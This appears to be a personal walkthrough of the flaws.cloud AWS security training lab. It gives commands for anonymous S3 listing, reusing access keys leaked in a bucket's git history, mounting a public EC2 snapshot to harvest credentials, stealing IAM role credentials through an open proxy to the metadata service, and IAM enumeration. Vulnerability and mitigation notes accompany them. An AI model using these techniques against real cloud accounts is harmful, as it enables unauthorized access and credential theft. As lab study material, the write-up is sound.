Level1

Buckets of fun: Dead giveaway for S3 buckets and static websites can be hosted on S3

**Domain & Bucket Discovery**
# start by getting someinfor on the bucket
# since we're dealing with a domain here, we'll start with a nslookup
nslookup flaws.cloud
host flaws.cloud

# this shows us information about the domain but not everything we need
# lets enumerate further using the IP
dig +short -x 52.218.242.202
host 52.218.242.202

# dig gives a versbose result but using **[+short](https://explainshell.com/explain?cmd=dig+%2Bshort+example.com+%7C+grep+-oE+%22%5Cb%28%5B0-9%5D%7B1%2C3%7D%5C.%29%7B3%7D%5B0-9%5D%7B1%2C3%7D%5Cb%22+%7C+head+-1)** gives a more consice answer
# -x does a reverse lookup and must be paired with an IP address
# the results show that this is a S3 website hosted in **us-west-2**

**Bucket Enumeration**
# lets try to see if we can list the objects in the bucket
aws s3 ls s3://flaws.cloud/ --region us-west-2

# looks like we don't have the credentials to authenticate our s3 API calls
# lets try without credentials
aws s3 ls s3://flaws.cloud/ --region us-west-2 [--no-sign-request](https://docs.aws.amazon.com/cli/latest/reference/)

# with --no-sign-requests, we're telling the CLI not to sign the request or look for credentials
# with this looks like we can list the bucket's objects 
# lets look at the secret file in the browser... nice

# we could have also went on **flaws.cloud.s3.amazonaws.com** since we know it's s3 and we'll find the same info OR
curl -s http://**flaws.cloud.s3.amazonaws.com/ | xmllint --format -**

Vulnerability: Bucket's listing has it’s access permission set to "Everyone", yeah we don’t want that

Level2

Unauthorized Authenticated Access

# we'll be attempting access again but this time, from an **Authenticated AWS Account**
# start by configuring a profile using creds from an existing user account
aws configure --profile daycyberwox

# input your access key and access key id and set region to us-east-1 
aws s3 --profile daycyberwox ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud

# same result as before but this time we have access as an authenticated AWS user

Vulnerability: Bucket's listing has access permission set to "Any Authenticated AWS User", violating the principle of least privilege

Level3

Leaked secrets

# start by listing the objects in the bucket as an authenticated AWS user
aws s3 --profile daycyberwox ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/

# the aws bucket has a .git file...
# download and list the contents of the s3 bucket to the current directory
aws s3 --profile daycyberwox sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ .
ls -al

# Git log is a utility tool to review and read a history of everything that happens to a repository... so let's see
git log

# the logs show us interesting things, the numbers are the hash for the commits
# so lets check them out
git checkout f52ec03b227ea6094b04e43f475fb0126edb5a61
ls -al

# ooooo some access_keys
cat access_keys.txt

# let's try to access stuff with the access keys
aws configure --profile havoc
aws --profile havoc s3 ls

# money baybee

Vulnerability: Bucket listing gives access to 'Everyone' and leaks AWS keys by accidentally committing it to git repo kept in the bucket. Leaked keys should be immediately revoked

Level4

Leaked & Unencrypted snapshots

# lets look at the host
host 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud

# we know there's an ec2 instance here but we can't access it...yet
# lets start by finding the account id using creds from our previous leak
aws --profile havoc sts get-caller-identity

# we can see the "backup user"
# lets now see all the snapshots associated with this user
aws --profile havoc ec2 describe-snapshots --owner-id 975426262029

# we can even see more if we run the same cmd without owner id
aws --profile havoc ec2 describe-snapshots --owner-id

# now that we have the snapshot, we'll wan to mount it aand see what's in it
# first, lets create a volume using the snapshot but specifically in the us-west-2 region
aws --profile daycyberwox ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89

# now go into the console **us-west-2** check volumes and you will seee
# then create an instance from the volume by selecting the snaphot in step 4 of instance creations using **/dev/sde** and **delete on termination**
# download the ssh key and put it in your operating folder
mv ~/Dowloads/havoc.pem .

# change the permissions on the key
chmod 400 havoc.pem

# ssh into the instance
ssh -i havoc.pem ubuntu@...

# first list information about all available block devices
lsblk

# xvda1 is our available volume
# mount the volume you added during the creation (**snapshot volume**)
sudo mount /dev/xvde1 /mnt

# check volumes again
lsblk

# dig around
# navigate to /mnt/home/ubuntu ad find the .sh file, grab the creds and login

Vulnerability: Publicly accessible EC2 snapshots

Level5

Metadata, too much data

# let's use the metadata service to see the instances metadata
curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/

# we can navigate deep down and explore
# iam looks juicy
curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/

# lets dig deeper
curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/info

# lets check the other one
curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

# access key id and secret access key secured
# now lets create a profile with that
aws configure --profile tornado

# now add you session token in ~/.aws/credentials
nano ~/.aws/credentials
aws_session_token = ..

# list objects
aws --profile tornado s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud

# check out the first result
aws --profile tornado s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/

Vulnerability: Exposed proxy which doesn't restrict access to instance's meta-data server and private IP range

Mitigation: Ensure your applications do not allow access to 169.254.169.254 or any local and private IP ranges. Additionally, ensure that IAM roles are restricted as much as possible.

Level6

SecurityAudit Policy: Too much permission

# we already have the access key and secret so lets make profile
aws configure --profile cumulus

**IAM Enumeration**
# whoami
aws --profile cumulus iam get-user

# username appears to be Level6
# this info can be used to find what policies are attached
aws --profile cumulus iam list-attached-user-policies --user-name Level6

****# 2 policies are observed
# now that we have the **arn,** get the **version id**
aws --profile cumulus iam get-policy --policy-arn arn:aws:iam::975426262029:policy/MySecurityAudit
aws --profile cumulus iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways

# now view **actual policy**
aws --profile cumulus iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/MySecurityAudit --version-id v1
aws --profile cumulus iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4

# for apigateways we can GET all rest apis
# use the permissions allowed by the security audit policy to see things about lambda
aws --region us-west-2 --profile cumulus lambda list-functions

# lets get the policy on the Level6 function
aws --region us-west-2 --profile cumulus lambda get-policy --function-name Level6

# this shows that the **principal** is allowed to execute (**InvokeFunction**) this specified resource: {\"AWS:SourceArn\":\"arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\"}
# lets view the **s33ppypa75** rest-api-id
aws --region us-west-2 --profile cumulus apigateway get-stages --rest-api-id "s33ppypa75"

# this tells us that the stage name is "Prod"
# lambda functions are called using that rest-api-id, stage name, region, and resource like:
https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6

Vulnerability: The securityaudit policy allow read access to IAM policies which can help an attacker scope an environment easily

Mitigation: Don't hand out any permissions liberally, even permissions that only let you read meta-data or know what your permissions are. Only enough permissions to do the job.

S3 Security Tools to Check out

https://github.com/sa7mon/S3Scanner

https://github.com/nahamsec/lazys3

https://github.com/clario-tech/s3-inspector

https://github.com/gwen001/s3-buckets-finder

https://github.com/RhinoSecurityLabs/pacu